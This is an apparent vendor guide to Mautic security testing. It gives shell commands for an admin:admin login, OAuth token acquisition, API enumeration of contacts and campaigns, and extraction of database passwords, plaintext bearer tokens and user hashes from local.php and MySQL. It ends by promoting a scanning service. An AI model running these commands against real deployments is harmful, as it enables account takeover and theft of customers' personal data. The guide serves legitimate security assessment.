Mautic Security Testing: Default Credentials, API Token, Contact Data, and Database

Mautic is a widely deployed open-source marketing automation platform used by organizations to manage contacts, email campaigns, landing pages, and marketing analytics — it typically contains a complete customer contact database with behavioral tracking data. Key assessment areas: Mautic's REST API uses OAuth 2.0 and provides access to all contacts, campaigns, email templates, and marketing analytics; app/config/local.php stores the MySQL database password; Mautic admin credentials are set during installation; the oauth2_access_tokens database table stores OAuth tokens; and Mautic's contact tracking pixels and URL tracking may expose visitor behavioral data. This guide covers systematic Mautic security assessment.

Table of Contents

  1. Authentication and OAuth 2.0 Token Acquisition
  2. REST API Contact, Campaign, and Email Enumeration
  3. local.php Database Credentials and MySQL Access
  4. Mautic Security Hardening

Authentication and OAuth 2.0 Token Acquisition

# Mautic — authentication and OAuth 2.0 token acquisition
MAUTIC_URL="https://mautic.example.com"

# Mautic login — form-based with CSRF token extraction
# Step 1: get login page and extract CSRF token
CSRF=$(curl -s -c /tmp/mautic_sess "${MAUTIC_URL}/s/login" 2>/dev/null | \
  grep -o 'name="_token" value="[^"]*"' | grep -o 'value="[^"]*"' | tr -d 'value="')

# Step 2: authenticate
curl -s -c /tmp/mautic_sess -b /tmp/mautic_sess \
  -X POST "${MAUTIC_URL}/s/login_check" \
  -d "_username=admin&_password=admin&_token=${CSRF}" \
  -L -o /dev/null -w "%{http_code}" 2>/dev/null
# 200 after redirect = successful login

# Mautic API — OAuth 2.0 client credentials flow
# First create an API client in Settings > API Credentials
CLIENT_ID="your-oauth-client-id"
CLIENT_SECRET="your-oauth-client-secret"

TOKEN_RESPONSE=$(curl -s -X POST "${MAUTIC_URL}/oauth/v2/token" \
  -d "grant_type=client_credentials" \
  -d "client_id=${CLIENT_ID}" \
  -d "client_secret=${CLIENT_SECRET}" 2>/dev/null)

ACCESS_TOKEN=$(echo "$TOKEN_RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('access_token',''))
" 2>/dev/null)

echo "Access token: ${ACCESS_TOKEN}"

REST API Contact, Campaign, and Email Enumeration

# Mautic REST API — contact, campaign, and email enumeration
MAUTIC_URL="https://mautic.example.com"
ACCESS_TOKEN="your-oauth-access-token"

# List all contacts — complete customer database with behavioral data
curl -s "${MAUTIC_URL}/api/contacts?limit=100&orderBy=id&orderByDir=asc" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
total = d.get('total',0)
contacts = d.get('contacts',{})
print(f'Total contacts: {total}')
for cid, c in list(contacts.items())[:10]:
    fields = c.get('fields',{})
    core = fields.get('core',{})
    print(f'  [{cid}] {core.get(\"firstname\",{}).get(\"value\",\"\")} {core.get(\"lastname\",{}).get(\"value\",\"\")} email={core.get(\"email\",{}).get(\"value\",\"\")}')
    print(f'    lastActive={c.get(\"lastActive\")} score={c.get(\"points\")}')
" 2>/dev/null

# List all campaigns — marketing workflow structure
curl -s "${MAUTIC_URL}/api/campaigns?limit=50" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
campaigns = d.get('campaigns',{})
print(f'Campaigns: {len(campaigns)}')
for cid, c in list(campaigns.items())[:10]:
    print(f'  [{cid}] {c.get(\"name\")} isPublished={c.get(\"isPublished\")}')
" 2>/dev/null

# List all email templates — message content and tracking
curl -s "${MAUTIC_URL}/api/emails?limit=50" \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
emails = d.get('emails',{})
print(f'Email templates: {len(emails)}')
for eid, e in list(emails.items())[:5]:
    print(f'  [{eid}] {e.get(\"name\")} subject={e.get(\"subject\")} sentCount={e.get(\"sentCount\")}')
" 2>/dev/null

local.php Database Credentials and MySQL Access

# Mautic local.php and database credential extraction

# app/config/local.php — MySQL credentials in PHP array
grep -E "db_password|db_user|db_name|db_host" \
  /var/www/html/mautic/app/config/local.php 2>/dev/null
# 'db_password' => 'DATABASE_PASSWORD'
# 'db_user' => 'mautic'
# 'db_name' => 'mautic'

# .env file in newer Mautic versions (4.x+)
cat /var/www/html/mautic/.env 2>/dev/null | grep -E "DB_|SECRET|PASSWORD"

# MySQL direct access — contacts and OAuth tokens
mysql -u mautic -p"DB_PASSWORD" mautic 2>/dev/null << 'EOF'
-- All contacts with email addresses and scoring
SELECT id, email, firstname, lastname, points, last_active,
       date_identified, country
FROM leads
ORDER BY last_active DESC
LIMIT 20;
EOF

# oauth2_access_tokens — active OAuth Bearer tokens
mysql -u mautic -p"DB_PASSWORD" mautic 2>/dev/null << 'EOF'
SELECT t.token, t.client_id, t.user_id,
       u.username, u.email, t.expires_at
FROM oauth2_access_tokens t
LEFT JOIN users u ON t.user_id = u.id
ORDER BY t.expires_at DESC
LIMIT 20;
EOF
# token column contains plaintext Bearer tokens

# Mautic users with SHA-512 hashed passwords
mysql -u mautic -p"DB_PASSWORD" mautic 2>/dev/null << 'EOF'
SELECT id, username, email, role, last_login, is_admin
FROM users
ORDER BY is_admin DESC, last_login DESC;
EOF

Mautic Security Hardening

Mautic Security Hardening Checklist:
Security TestMethodRisk
OAuth 2.0 API token acquisition and contact enumerationPOST /oauth/v2/token client_credentials — access token; GET /api/contacts returns all contacts with emails, behavioral data, scores, and tracking history; complete customer marketing databaseCritical
Campaign and email template accessGET /api/campaigns all marketing workflows; GET /api/emails all email templates with subjects and content — reveals marketing strategy, customer segmentation, and messagingHigh
local.php MySQL credential extractionRead app/config/local.php — db_password MySQL credentials; direct database access to all contact data, oauth2_access_tokens (plaintext), and user passwordsCritical
oauth2_access_tokens plaintext token extractionMySQL SELECT from oauth2_access_tokens — token column contains plaintext Bearer tokens; enables API access as any OAuth client with active tokensCritical
Admin credential brute forcePOST /s/login_check with admin:admin — Mautic admin credentials set during installation; no default lockout; access to full contact export and integration configurationCritical

Automate Mautic Security Testing

Ironimo tests Mautic deployments for admin credential exploitation, OAuth 2.0 token acquisition and API contact database enumeration, campaign and email template access, local.php MySQL credential extraction, oauth2_access_tokens plaintext token extraction from database, Mautic user password hash enumeration, API credential audit, contact tracking data exposure assessment, file upload security testing, and role-based access control bypass testing.

Start free scan